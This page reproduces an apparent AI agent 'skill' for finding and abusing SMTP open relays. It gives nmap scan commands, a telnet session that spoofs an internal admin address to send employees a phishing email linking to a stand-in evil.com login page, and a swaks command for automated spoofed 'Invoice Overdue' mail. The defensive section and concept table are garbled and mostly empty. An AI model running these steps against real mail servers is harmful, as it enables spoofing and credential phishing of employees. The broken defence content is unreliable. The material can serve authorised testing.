Smtp open relay abuse

From ShulkwiSEC/bb-huge · View interactive version

Smtp open relay abuse is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Identify and exploit SMTP Open Relays. This skill teaches how to test mail servers to determine if they process email delivery regardless of the sender or recipient domain, enabling attackers to spoof internal addresses and bypass basic anti-phishing controls.

How to use this skill

Skill file

SMTP Open Relay Abuse

When to Use

Prerequisites

Workflow

Phase 1: Identifying Open SMTP Ports

# nmap -p 25,465,587 --open -sV IP_ADDRESS

# nmap -p 25 --script smtp-open-relay IP_ADDRESS

Phase 2: Manual Verification via Telnet

# telnet IP_ADDRESS 25

# HELO attacker.local

# MAIL FROM:<admin@targetcompany.com>

# RCPT TO:<employee@targetcompany.com>

# DATA
Subject: Critical IT Update
From: admin@targetcompany.com
To: employee@targetcompany.com

Please click the following link to secure your account: http://evil.com/login
.
# QUIT

Phase 3: Automated Exploitation using SWAKS

# swaks --to employee@targetcompany.com --from admin@targetcompany.com --server IP_ADDRESS --body "Please review the attached document." --header "Subject: Invoice Overdue"

Phase 4: Utilizing Extended SMTP (ESMTP) and Authentication Bypasses

# ```

#### Decision Point 🔀

flowchart TD

A[Connect SMTP ] --> B{Accepts RCPT ]}

B -->|Yes| C[Open Relay ]

B -->|No| D[Check Auth ]

C --> E[Send Phish gently ]


## 🔵 Blue Team Detection & Defense
- **Require Authentication**: **Network Filtering (Firewalls)**: **Domain Verification (SPF/DKIM/DMARC)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Smtp Open Relay Abuse — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.